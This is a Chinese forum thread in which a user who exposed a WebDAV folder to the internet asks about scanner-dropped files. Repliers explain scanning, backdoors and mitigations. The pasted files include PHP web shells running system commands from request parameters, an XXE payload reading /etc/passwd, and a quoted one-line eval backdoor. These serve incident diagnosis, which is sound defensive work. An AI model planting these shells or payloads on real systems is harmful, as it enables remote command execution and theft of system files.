我是使用了一个 webdav 程序,把我电脑 A 的某个文件夹 F 暴露挂载成了 webdav ,然后使用 http 方式,在另一台电脑 B 通过公网 IP 来访问
昨天 F 文件夹里面里面突然出现下列文件夹:
打开之后,里面没发现有什么恶意程序,但是有很多网页,jsp 或者 php ,用文本编辑器打开里面就显示 CVExxx
里面有个文件叫 nuclei.html.gif ,我去 github 搜索,发现是一个 projectdiscovery 的 repo 里面的代码
https://github.com/projectdiscovery/nuclei-templates
Community curated list of templates for the nuclei engine to find security vulnerabilities.
Nuclei is a fast, efficient, and extensible vulnerability scanner. It can scan thousands of hosts in just a few minutes. The nuclei engine uses text-file templates to define the steps required to detect a vulnerability.
目前的怀疑:
我的疑问:
以下是所有的文件里面的内容:主要是PHP JSP文件
里面大部分内容都是在echo,提示有CVE漏洞。
我看比较严重的代码主要是和cmd相关的。这个应该意思是可以调用系统的终端然后执行某些程序?应该是如果这些php文件没有被执行就无大碍吧?
PHP文件
<?php echo md5('CVE-2022-25487');?>
<%
out.println("CVE-2022-26352");
%>
<?php echo md5('phpcollab_rce');?>
POC_TEST
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
<?php
echo exec($_GET["cmd"]);
?>
<?php echo md5('CVE-2022-1952');?>
<?php
echo "File Upload success";
<?php echo 'CVE-2021-24236'; ?>
JSP文件
<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>
<%
String cve = "CVE-2018-15961";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
hx = Integer.toHexString(0xFF & digest[i]);
if(hx.length() == 1){hx = "0" + hx;}
hashedpasswd.append(hx);
}
out.println(hashedpasswd.toString());
%>
<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>
<%
String cve = "CVE-2018-2894";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
hx = Integer.toHexString(0xFF & digest[i]);
//0x03 is equal to 0x3, but we need 0x03 for our md5sum
if(hx.length() == 1){hx = "0" + hx;}
hashedpasswd.append(hx);
}
out.println(hashedpasswd.toString());
%>
接着第一条附言没贴完的代码(字数限制)
XML文件
<?xml version='1.0' encoding='UTF-8'?>
<ChartData>
<Categories>
<Category>ALttP</Category>
</Categories>
<Series label="2PXwFeEsfjzIPlN8BfkLn1ATkhX">
<Point>
<Value type="y">12345</Value>
</Point>
</Series>
</ChartData>
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>
<SAPChartCustomizing version="1.1">
<Elements>
<ChartElements>
<Title>
<Extension>&xxe;</Extension>
</Title>
</ChartElements>
</Elements>
</SAPChartCustomizing>
文本文件
MyPasswdNewData->/api/tomcat
POC_TEST
CVE-2020-12800-2PXwFlCcbD1a74LOgwnlRWVnJzD
1
INTEL2333 2023-05-10 20:10:59 +08:00
|
2
unknowsll 2023-05-10 20:12:12 +08:00 1
你放公网的东西被扫到了,加一下验证吧,上面有一条最简单的 php 小马,如果成了,后续会有大马继续进来,请尽快处理此服务,或者限制来源 IP
<?php eval(@$_POST['a']); ?> |
3
unknowsll 2023-05-10 20:14:59 +08:00
MD5 注入可以了解一下。
|
4
movq OP 我再继续放点文件内容截图
![D8hRcvuqgaT5tlw]( https://s2.loli.net/2023/05/10/D8hRcvuqgaT5tlw.png) ![2bDzTfyLntxmahI]( https://s2.loli.net/2023/05/10/2bDzTfyLntxmahI.png) ![UPLVY9gbmT5Mifv]( https://s2.loli.net/2023/05/10/UPLVY9gbmT5Mifv.png) |
5
billlee 2023-05-10 20:18:44 +08:00 via Android
你的 webdav 被扫到并且被破解了密码(或者你根本没设置密码),然后那个人上传了一个 php 后门。当然如果你这个 webdav 服务是纯粹的 webdav, 不包含 php 解释器,那这个后门是无法运行的。
|
6
movq OP @billlee 我是 mac 直接使用 appstore 下载的一个 app ,这个 app 提供了 webdav 功能。不太知道这个 app 本身有没有 php 解释器
|
7
dode 2023-05-10 20:29:07 +08:00
这可能类似善良黑客给你提示,管理员需要尽快处理
|
8
jackyzy823 2023-05-10 20:30:04 +08:00 via Android
被扫描了,Webdav PUT 方法不就会创建文件么…
|
9
SunsetShimmer 2023-05-10 20:37:08 +08:00
被上传 PHP 后门,如果没有 PHP 环境,没用。
但不管怎么说把存储公开到公网都不太好... |
10
movq OP @SunsetShimmer 意思是如果没有程序主动执行我 webdav 里面的 php 文件就没事吗?
|
11
movq OP @billlee
@SunsetShimmer 我不太懂 php ,但是我知道 tomcat 里面是直接上传文件到 webapp 就会被自动运行。你们的意思是如果 php 文件被自动上传到某个目录,也会和 tomcat 运行 java web 程序一样被自动运行,这个意思吗? 但我这里面这些 php 文件都是在我的 webdav 根目录。我 webdav 只用于存储文件,没有配置什么服务,应该就没问题了吧? |
12
billlee 2023-05-10 20:59:21 +08:00
是的,要有程序去执行它。php 和 jsp 是 apache/tomcat 在收到 web 请求的时候会自动执行 web 目录下的对应脚本。如果是纯粹的 http 静态文件服务器,那是无法执行的。专门的 webdav app 大概率是没有 php 解释器的。
|
13
patrickyoung 2023-05-10 21:22:46 +08:00 via iPhone
@movq #11 依然有问题,如果服务器在国内的或者被用来在国内的人身上的话,你想想攻击者在你这传个菠菜 /黄赌毒然后引用一下这个资源,你会怎么样?
|
14
darknoll 2023-05-11 10:37:09 +08:00
你 webdav 没有设置密码?
|
15
xiaopigfly 2023-05-11 11:37:45 +08:00
先赶紧把公网停掉,再排查是否解析 php 文件。如果解析大概率被入侵了。
|
17
yumusb 2023-05-11 14:40:59 +08:00
可以直接 尝试 PUT 文件到你的服务器,看看是否能够成功上传。
|
18
cquan 2023-05-11 15:02:28 +08:00
CVE+数字是漏洞编号,你这个项目有漏洞,它应该是用软件批量扫描的,赶紧修复吧
|
20
movq OP @cquan 就是不知道是黑客来攻击我的电脑,还是有白帽子专门扫洞提醒别人,感觉很奇怪。我看了下文件夹,没有被修改过(因为 last modified time 都比这些扫洞文件的创建时间早)
|
21
kir4 2023-05-11 17:27:24 +08:00
基本可以确定是扫描器行为
|